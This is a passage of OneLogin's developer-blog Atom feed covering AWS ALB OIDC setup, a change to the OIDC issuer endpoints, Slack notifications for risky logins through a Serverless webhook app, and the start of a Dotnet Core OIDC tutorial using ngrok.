&lt;p&gt;&lt;strong&gt;Client ID:&lt;&#x2F;strong&gt; The Client ID for your OneLogin app.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Client Secret:&lt;&#x2F;strong&gt; The Client Secret for your OneLogin app.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-oidc.png&quot; alt=&quot;Select OIDC&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Click &lt;strong&gt;Update&lt;&#x2F;strong&gt; to save changes.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-7-test-your-configuration&quot;&gt;Step 7: Test your configuration&lt;&#x2F;h3&gt;
&lt;p&gt;Confirm that your basic configuration is complete by going to the HTTPS address of your application.&lt;&#x2F;p&gt;
&lt;p&gt;Your browser will redirect to your OneLogin page where the user is prompted to authenticate.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-page.png&quot; alt=&quot;OneLogin page&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After authenticating, the browser redirects back to your application and the Apache test page from Step 1 appears again.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;troubleshooting&quot;&gt;Troubleshooting&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;When testing, it’s best to clear browser cache or use incognito mode to ensure no other sessions are active.&lt;&#x2F;li&gt;
&lt;li&gt;If you aren’t redirected to a login page when you visit your website, check your ALB setting and confirm the authorization endpoint was saved.&lt;&#x2F;li&gt;
&lt;li&gt;If you see the login page, but then get redirected back to an error page, inspect the address bar of the browser to find out what the error was. For example, &lt;strong&gt;401 Authorization Required&lt;&#x2F;strong&gt; usually indicates that the user that you authenticated does not have your OIDC app assigned to them via OneLogin.
&lt;br&gt;&lt;br&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;advanced-configuration&quot;&gt;Advanced configuration&lt;&#x2F;h3&gt;
&lt;p&gt;Once you have the basics up and running, add additional scopes to the OIDC configuration rule in your ALB. By adding the “profile” scope, you will get the full details of the authenticated user forwarded by the ALB and set as “x-amzn-oidc-…” headers that your application can consume.&lt;&#x2F;p&gt;
&lt;p&gt;You can also change the ALB listener rules to only add authentication to certain parts of your site or application. In this example we used the default rule for all routes but you can easily configure it to just authenticate users on the “&#x2F;admin” section.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;get-started&quot;&gt;Get started&lt;&#x2F;h3&gt;
&lt;p&gt;Don’t have a dev account yet? &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;developer-signup&quot;&gt;Sign up for a free OneLogin developer account&lt;&#x2F;a&gt; and start protecting your AWS applications today.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Changes to our OpenId Connect Issuer</title>
        <published>2018-07-24T00:00:00+00:00</published>
        <updated>2018-07-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/changes-to-our-openid-connect-issuer/"/>
        <id>https://developers.onelogin.com/blog/changes-to-our-openid-connect-issuer/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/changes-to-our-openid-connect-issuer/">&lt;style&gt;
.blog-border {
    border: 1px solid #D5D5D5;
    padding: 10px;
    border-radius: 3px;
}
.blog-border.code {
    background: #f3f3f4;
    margin-bottom: 15px;
}

.blog-wrapper p&gt;img.blog-img-sm {
  width: 50%;
}
&lt;&#x2F;style&gt;
&lt;p&gt;We recently released a update to our &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;openid-connect&quot;&gt;OpenId Connect (OIDC)&lt;&#x2F;a&gt; provider that makes our well-known configuration document validate correctly with clients that strictly enforce the OpenId Connect specification.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;what-was-the-problem&quot;&gt;What was the problem?&lt;&#x2F;h3&gt;
&lt;p&gt;If you’re currently using our OpenId Connect provider then you will know that your primary OIDC endpoint is an extension of your custom OneLogin subdomain.&lt;&#x2F;p&gt;
&lt;p&gt;E.g. &lt;a href=&quot;&#x2F;pages&#x2F;openid-connect&quot;&gt;https:&#x2F;&#x2F;my-domain.onelogin.com&#x2F;oidc&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This is great, and all of the OpenId Connect flows work as expected, however if you use a client that uses automatic Discovery of the available features and endpoints then you may have run into trouble with the “issuer” url not matching the url of the configuration document or other urls in the document.&lt;&#x2F;p&gt;
&lt;p&gt;Not all clients had trouble with this, but some strictly validate against the spec and since we had a url mismatch they would fail to initialize. An example of this is the Go OIDC client, which also happens to be used by Kubernetes. Therefore if you use Kubernetes and want to authenticate with OneLogin, you had to jump through some hoops to make it work. This recent change removes all that pain.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;what-s-changed&quot;&gt;What’s changed?&lt;&#x2F;h3&gt;
&lt;p&gt;We now recommend that all clients switch from using the custom subdomain version of the OIDC provider to a generic version that applies to all OneLogin accounts. We have a separate endpoint for our customers in Europe, so you will use one of the following endpoints depending on the location of your OneLogin instance.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Worldwide: &lt;a href=&quot;&#x2F;pages&#x2F;openid-connect&quot;&gt;https:&#x2F;&#x2F;openid-connect.onelogin.com&#x2F;oidc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Europe: &lt;a href=&quot;&#x2F;pages&#x2F;openid-connect&quot;&gt;https:&#x2F;&#x2F;openid-connect-eu.onelogin.com&#x2F;oidc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;br&gt;
You will notice that the well-known configuration document for these domains is now valid with all the urls matching the base url of the request. 
&lt;p&gt;&lt;em&gt;For example:&lt;&#x2F;em&gt; &lt;a href=&quot;https:&#x2F;&#x2F;openid-connect.onelogin.com&#x2F;oidc&#x2F;.well-known&#x2F;openid-configuration&quot; target=&quot;_blank&quot;&gt;https:&#x2F;&#x2F;openid-connect.onelogin.com&#x2F;oidc&#x2F;.well-known&#x2F;openid-configuration&lt;&#x2F;a&gt; will return the following configuration document.&lt;&#x2F;p&gt;
&lt;div class=&quot;blog-border code&quot;&gt;&lt;pre&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;{
 &quot;acr_values_supported&quot;: [&quot;onelogin:nist:level:1:re-auth&quot;],
 &quot;authorization_endpoint&quot;: &quot;https:&#x2F;&#x2F;openid-connect.onelogin.com&#x2F;oidc&#x2F;auth&quot;,
 &quot;claims_parameter_supported&quot;: true,
 &quot;claims_supported&quot;: [
   &quot;acr&quot;,
   &quot;auth_time&quot;,
   &quot;company&quot;,
   &quot;custom_fields&quot;,
   &quot;department&quot;,
   &quot;email&quot;,
   &quot;family_name&quot;,
   &quot;given_name&quot;,
   &quot;groups&quot;,
   &quot;iss&quot;,
   &quot;locale_code&quot;,
   &quot;name&quot;,
   &quot;phone_number&quot;,
   &quot;preferred_username&quot;,
   &quot;sub&quot;,
   &quot;title&quot;,
   &quot;updated_at&quot;
 ],
 &quot;grant_types_supported&quot;: [
   &quot;authorization_code&quot;,
   &quot;implicit&quot;,
   &quot;refresh_token&quot;,
   &quot;password&quot;
 ],
 &quot;id_token_signing_alg_values_supported&quot;: [&quot;RS256&quot;],
 &quot;issuer&quot;: &quot;https:&#x2F;&#x2F;openid-connect.onelogin.com&#x2F;oidc&quot;,
 &quot;jwks_uri&quot;: &quot;https:&#x2F;&#x2F;openid-connect.onelogin.com&#x2F;oidc&#x2F;certs&quot;,
 &quot;request_parameter_supported&quot;: false,
 &quot;request_uri_parameter_supported&quot;: false,
 &quot;response_modes_supported&quot;: [&quot;form_post&quot;, &quot;fragment&quot;, &quot;query&quot;],
 &quot;response_types_supported&quot;: [&quot;code&quot;, &quot;id_token token&quot;, &quot;id_token&quot;],
 &quot;scopes_supported&quot;: [&quot;openid&quot;, &quot;name&quot;, &quot;profile&quot;, &quot;groups&quot;, &quot;email&quot;, &quot;phone&quot;],
 &quot;subject_types_supported&quot;: [&quot;public&quot;],
 &quot;token_endpoint&quot;: &quot;https:&#x2F;&#x2F;openid-connect.onelogin.com&#x2F;oidc&#x2F;token&quot;,
 &quot;token_endpoint_auth_methods_supported&quot;: [
   &quot;client_secret_basic&quot;,
   &quot;client_secret_post&quot;,
   &quot;none&quot;
 ],
 &quot;userinfo_endpoint&quot;: &quot;https:&#x2F;&#x2F;openid-connect.onelogin.com&#x2F;oidc&#x2F;me&quot;,
 &quot;userinfo_signing_alg_values_supported&quot;: [],
 &quot;code_challenge_methods_supported&quot;: [&quot;plain&quot;, &quot;S256&quot;],
 &quot;introspection_endpoint&quot;:
   &quot;https:&#x2F;&#x2F;openid-connect.onelogin.com&#x2F;oidc&#x2F;token&#x2F;introspection&quot;,
 &quot;introspection_endpoint_auth_methods_supported&quot;: [
   &quot;client_secret_basic&quot;,
   &quot;client_secret_post&quot;,
   &quot;none&quot;
 ],
 &quot;revocation_endpoint&quot;:
   &quot;https:&#x2F;&#x2F;openid-connect.onelogin.com&#x2F;oidc&#x2F;token&#x2F;revocation&quot;,
 &quot;revocation_endpoint_auth_methods_supported&quot;: [
   &quot;client_secret_basic&quot;,
   &quot;client_secret_post&quot;,
   &quot;none&quot;
 ],
 &quot;claim_types_supported&quot;: [&quot;normal&quot;]
}
&lt;&#x2F;pre&gt;&lt;&#x2F;code&gt;&lt;&#x2F;div&gt;
&lt;h3 id=&quot;does-this-impact-the-user-experience&quot;&gt;Does this impact the user experience?&lt;&#x2F;h3&gt;
&lt;p&gt;No. After switching over to use one of these generic OIDC subdomains your users will not notice a difference in user experience. They will still be prompted with the same login page that they are accustomed to seeing with your app. And if they look at the address bar in their browser they will see your custom subdomain.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;can-i-still-use-the-custom-subdomain-version&quot;&gt;Can I still use the custom subdomain version?&lt;&#x2F;h3&gt;
&lt;p&gt;Yes. We will keep both options available for backwards compatibility but it is likely that in the future we could deprecate this so if you’re just starting out with OIDC at OneLogin you should use these generic subdomains.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>How to send event notifications to Slack using Serverless</title>
        <published>2017-12-14T00:00:00+00:00</published>
        <updated>2017-12-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/how-to-send-event-notifications-slack-serverless-webhooks/"/>
        <id>https://developers.onelogin.com/blog/how-to-send-event-notifications-slack-serverless-webhooks/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/how-to-send-event-notifications-slack-serverless-webhooks/">&lt;p&gt;If you’re using &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;onelogin.service-now.com&#x2F;support&#x2F;?id=kb_article&amp;amp;sys_id=42895903db109700d5505eea4b961916&quot;&gt;Slack&lt;&#x2F;a&gt;, chances are you’re no stranger to posting notifications and useful information from various other apps and systems into your Slack channels.&lt;&#x2F;p&gt;
&lt;p&gt;In this post I’ll show you how to send login events that have an elevated risk to a Slack channel. This is a great way to keep an eye out for suspicious access, and you could easily &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;serverless-onelogin-slack&quot; target=&quot;_blank&quot;&gt;extend this code sample&lt;&#x2F;a&gt; to send other types of events.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;slack_blog.jpg&quot; alt=&quot;Risky login to OneLogin with Risk Score, Risk Reasons, and Notes&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;event-webhooks&quot;&gt;Event Webhooks&lt;&#x2F;h3&gt;
&lt;p&gt;At OneLogin we recently released Webhooks which make it possible to make event driven decisions in your applications. The webhook system is like a firehose of the activity in your OneLogin account, so the best way to make use of it is be selective about the types of events that you want to respond to.&lt;&#x2F;p&gt;
&lt;p&gt;In this sample we will be using the “User Log In” event combined with a “Risk Score” that is calculated each time a user logs in.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Note that the Risk Score we use in this sample will only be populated for customers that make use of our &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;product&#x2F;adaptive-authentication&quot;&gt;Adaptive Authentication&lt;&#x2F;a&gt; feature. As a side note, the benefit of Adaptive Auth is that it only prompts users for a second authentication factor or one time password when an elevated level of risk is detected for a log in.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;getting-started&quot;&gt;Getting Started&lt;&#x2F;h3&gt;
&lt;p&gt;Ok, so let’s get this show on the road. It’s actually very simple thanks to the awesome work the Serverless team has done to make deploying Lambda functions and API Gateway configuration to AWS. You could easily adapt this sample app and deploy it to Azure or other cloud providers, but for this example I’m using AWS.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;step-1-setup-aws-credentials&quot;&gt;Step 1: Setup AWS Credentials&lt;&#x2F;h4&gt;
&lt;p&gt;In order for Serverless to deploy this sample to AWS, you will need AWS CLI tool installed and configured with credentials that have access to create&#x2F;manage API Gateway and Lambda functions. &lt;a href=&quot;http:&#x2F;&#x2F;docs.aws.amazon.com&#x2F;lambda&#x2F;latest&#x2F;dg&#x2F;setup-awscli.html&quot; target=&quot;_blank&quot;&gt;Read more about setting up AWS CLI&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;step-2-create-a-incoming-webhook-on-slack&quot;&gt;Step 2: Create a Incoming Webhook on Slack&lt;&#x2F;h4&gt;
&lt;p&gt;In order to send a notification to a Slack channel, we need to get an endpoint from Slack that we can post messages to. They call this an Incoming Webhook and you can &lt;a href=&quot;https:&#x2F;&#x2F;slack.com&#x2F;apps&#x2F;A0F7XDUAZ-incoming-webhooks&quot; target=&quot;_blank&quot;&gt;add one to your Slack account here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Once you have your Incoming Webhook setup, grab the Webhook Url that they issue you.&lt;&#x2F;p&gt;
&lt;p&gt;It will look something like this: &lt;em&gt;https:&#x2F;&#x2F;hooks.slack.com&#x2F;services&#x2F;T169K11K4&#x2F;B8BBEVD42&#x2F;b2A9HBldz0dZWLQAJetuj5tC&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;step-3-deploying-the-app-via-serverless-framework&quot;&gt;Step 3: Deploying the app via Serverless framework&lt;&#x2F;h4&gt;
&lt;p&gt;Now for the fun part. First up if you don’t have it already, &lt;a href=&quot;https:&#x2F;&#x2F;serverless.com&#x2F;framework&#x2F;docs&#x2F;getting-started&#x2F;&quot; target=&quot;_blank&quot;&gt;get Serverless installed on your local machine&lt;&#x2F;a&gt;. It only takes a minute to setup and will give you a cli tool for creating and deploying serverless apps.&lt;&#x2F;p&gt;
&lt;p&gt;Once you have serverless installed, you can pull the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;serverless-onelogin-slack&quot; target=&quot;_blank&quot;&gt;sample code for this app&lt;&#x2F;a&gt; from Github.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;&amp;gt; git clone git@github.com:onelogin&#x2F;serverless-onelogin-slack.git&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Next, we will tweak the configuration with your own Slack endpoint. So open up “src&#x2F;serverless.yml” and change &lt;strong&gt;SLACK_CHANNEL&lt;&#x2F;strong&gt; and &lt;strong&gt;SLACK_PATH&lt;&#x2F;strong&gt; to your own values.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;slack_blog1.jpg&quot; alt=&quot;Configuration changes&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;With those simple configuration changes made, you’re now ready to deploy the app.&lt;&#x2F;p&gt;
&lt;p&gt;Open your terminal and move into the “&lt;strong&gt;src&lt;&#x2F;strong&gt;” directory then enter the following:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;&amp;gt; serverless deploy&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Serverless will now package up the code and send it to AWS. It takes a couple of minutes the first time around and should eventually return a successful response.&lt;&#x2F;p&gt;
&lt;p&gt;At this point you have successfully deployed a serverless app and you just need to get the public endpoint for it that will listen for events from OneLogin. To do this, run:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;&amp;gt; serverless info&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Which will return a POST endpoint url for your new function. Save this url for use in the next step.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;step-4-setup-onelogin-event-broadcaster&quot;&gt;Step 4: Setup OneLogin Event Broadcaster&lt;&#x2F;h4&gt;
&lt;p&gt;Lastly, you will use the endpoint url to register against an Event Broadcaster in your OneLogin account. Do this via the OneLogin Admin portal in the Activity &amp;gt; Event Broadcaster area.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;slack_blog2.jpg&quot; alt=&quot;New Broadcaster window with Listener URL field&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Set the Listener Url using your serverless endpoint url and change the Format to JSON Array.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;step-5-test-your-work&quot;&gt;Step 5: Test your work&lt;&#x2F;h4&gt;
&lt;p&gt;At this point you’re all done and risky login notifications will start posting to your nominated Slack channel.&lt;&#x2F;p&gt;
&lt;p&gt;Now try logging into OneLogin while mixing up some of your normal behaviors like using a different browser and coming in via VPN etc. The default RISK_THRESHOLD setting in your app is pretty low so these small changes should create enough risk to push the notifications through to Slack.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Remember you need to have &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;product&#x2F;adaptive-authentication&quot;&gt;Adaptive Authentication&lt;&#x2F;a&gt; enabled on the user policy for your test user.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;extending-the-sample&quot;&gt;Extending the sample&lt;&#x2F;h3&gt;
&lt;p&gt;This is really just a quick sample of one way that you can make use of &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;1&#x2F;events&#x2F;webhooks&quot;&gt;Event Webhooks&lt;&#x2F;a&gt; from OneLogin. If you want to try different levels of risk just tweak the RISK_THRESHOLD in your serverless.yml and then deploy the app again with “serverless deploy”.&lt;&#x2F;p&gt;
&lt;p&gt;Webhooks are an incredibly powerful feature so hopefully you can use this app as base for more advanced integrations to improve security and automate workflows.&lt;&#x2F;p&gt;
&lt;p&gt;And if you’re interested in learning more about Adaptive Authentication, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;product-demo&quot;&gt;click here to get a demo&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>How to use OpenId Connect Authentication with Dotnet Core</title>
        <published>2017-11-21T00:00:00+00:00</published>
        <updated>2017-11-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/how-to-use-openid-connect-authentication-with-dotnet-core/"/>
        <id>https://developers.onelogin.com/blog/how-to-use-openid-connect-authentication-with-dotnet-core/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/how-to-use-openid-connect-authentication-with-dotnet-core/">&lt;style&gt;
.blog-border {
    border: 1px solid #D5D5D5;
    padding: 10px;
    border-radius: 3px;
}
.blog-border.code {
    background: #f3f3f4;
    margin-bottom: 15px;
}

.blog-wrapper p&gt;img.blog-img-sm {
  width: 50%;
}
&lt;&#x2F;style&gt;
&lt;p&gt;If you need to add authentication to an application and you want to use a third party as the authentication provider, then the recommended way to achieve this is using &lt;a href=&quot;https:&#x2F;&#x2F;openidconnect.net&#x2F;&quot; target=&quot;_blank&quot;&gt;OpenId Connect&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;OpenId Connect is widely adopted, so if you’ve ever signed into an application using your Facebook, Google or Twitter account before, then you’ve already witnessed how easy OpenId Connect makes user authentication.&lt;&#x2F;p&gt;
&lt;p&gt;Like Google or Facebook, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;pages&#x2F;openid-connect&quot;&gt;OneLogin is also an OpenId Connect provider&lt;&#x2F;a&gt;, which means that if you use OneLogin to store and manage the identities of your users, you can also use OneLogin to authenticate those users on your custom built apps.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;dotnet.microsoft.com&#x2F;download&quot; target=&quot;_blank&quot;&gt;Dotnet Core&lt;&#x2F;a&gt; is the latest framework from Microsoft that lets you build apps once and deploy to not only Windows, but also Linux and Mac operating systems. It’s quickly gaining popularity, and as a result we’ve seen an increase in people wanting to add authentication to their Dotnet Core apps.&lt;&#x2F;p&gt;
&lt;p&gt;In this post I’ll cover the entire process of adding user authentication to a dotnet core application and using OneLogin as the OpenId Connect provider. I’ll also include code samples to make it super easy for you to follow along with your own application.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Note that you’ll need to be an administrator of a OneLogin account in order to follow along. If you don’t have administrator access to your company’s OneLogin account then you can &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;developer-signup&quot;&gt;sign up for a OneLogin Developer account here&lt;&#x2F;a&gt;.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-1-create-a-new-dotnet-core-mvc-application&quot;&gt;Step 1: Create a new Dotnet Core MVC application&lt;&#x2F;h3&gt;
&lt;p&gt;I’ll assume that since you’re reading this post you already have Dotnet Core installed. If you don’t then &lt;a href=&quot;https:&#x2F;&#x2F;dotnet.microsoft.com&#x2F;learn&#x2F;dotnet&#x2F;hello-world-tutorial&#x2F;intro&quot; target=&quot;_blank&quot;&gt;download it here&lt;&#x2F;a&gt; and I recommend using &lt;a href=&quot;https:&#x2F;&#x2F;code.visualstudio.com&#x2F;download&quot;&gt;Visual Studio Code&lt;&#x2F;a&gt; as a simple code editor.&lt;&#x2F;p&gt;
&lt;p&gt;Once you have your Dotnet Core environment installed, open a command prompt and enter the following to create a basic template for our sample app. It will create the new app in its own directory and download any reference libraries that are required.&lt;&#x2F;p&gt;
&lt;div class=&quot;blog-border code&quot;&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;&gt; dotnet new mvc --auth None --name OidcSampleApp&lt;&#x2F;code&gt;&lt;&#x2F;div&gt;
&lt;p&gt;Now you can jump into the newly created directory and run your application with &lt;code&gt;dotnet run&lt;&#x2F;code&gt; to test that it works.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; cd&lt;&#x2F;span&gt;&lt;span&gt; OidcSampleApp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; dotnet&lt;&#x2F;span&gt;&lt;span&gt; run&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Once the app starts up, you can open a web browser and go to &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;localhost:5000&quot;&gt;http:&#x2F;&#x2F;localhost:5000&lt;&#x2F;a&gt; where you will see your app running.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;blog_img-20171120122146.jpg&quot; alt=&quot;localhost:5000 showing app running&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;use-ngrok-for-https-testing-via-localhost&quot;&gt;Use Ngrok for HTTPS testing via localhost&lt;&#x2F;h4&gt;
&lt;p&gt;The purpose of this step is to expose your new Dotnet Core application to the internet so that we can do end to end testing with OneLogin. The reason we have to do this is because the OpenId Connect specification states that all communication must be over a secure HTTPS connection.&lt;&#x2F;p&gt;
&lt;p&gt;This requirement makes testing during the development process a little tricky unless, of course, you know about the fabulous &lt;a href=&quot;https:&#x2F;&#x2F;ngrok.com&#x2F;&quot; target=&quot;_blank&quot;&gt;Ngrok tool&lt;&#x2F;a&gt;, which makes this process extremely easy.&lt;&#x2F;p&gt;
&lt;p&gt;The easiest way to install Ngrok is via NPM. You’ll already have &lt;a href=&quot;https:&#x2F;&#x2F;www.npmjs.com&#x2F;&quot; target=&quot;_blank&quot;&gt;NPM&lt;&#x2F;a&gt; if you’ve previously installed Node.js but if you haven’t, you can &lt;a href=&quot;https:&#x2F;&#x2F;nodejs.org&#x2F;en&#x2F;download&#x2F;&quot;&gt;download and install the Current or LTS Node.js from here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Once you have Node installed, open a command prompt or terminal and run the following to install Ngrok for global use on your machine.&lt;&#x2F;p&gt;
&lt;div class=&quot;blog-border code&quot;&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;&gt; npm install ngrok -g&lt;&#x2F;code&gt;&lt;&#x2F;div&gt;
&lt;p&gt;Now lets expose our Dotnet application, which is running on port 5000 to the world&lt;&#x2F;p&gt;
&lt;div class=&quot;blog-border code&quot;&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;&gt; ngrok http 5000&lt;&#x2F;code&gt;&lt;&#x2F;div&gt;
&lt;p&gt;Note that if you’re not using &lt;code&gt;dotnet run&lt;&#x2F;code&gt; and instead running your application on Windows via Visual Studio, it’s likely that you will also have to add an extra option to pass on the expected host header.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; ngrok&lt;&#x2F;span&gt;&lt;span&gt; http&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;app&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;port&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;host&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;header&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;localhost:&amp;lt;local-app-port&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Ngrok will now fire into action and magically give you 2 public urls that map through to your local application. If you copy the https url and post it to your browser, you will see your application. You will also need this url for future steps in the tutorial.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;blog_img1-20171120122607.jpg&quot; alt=&quot;Blog Img1 screenshot&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
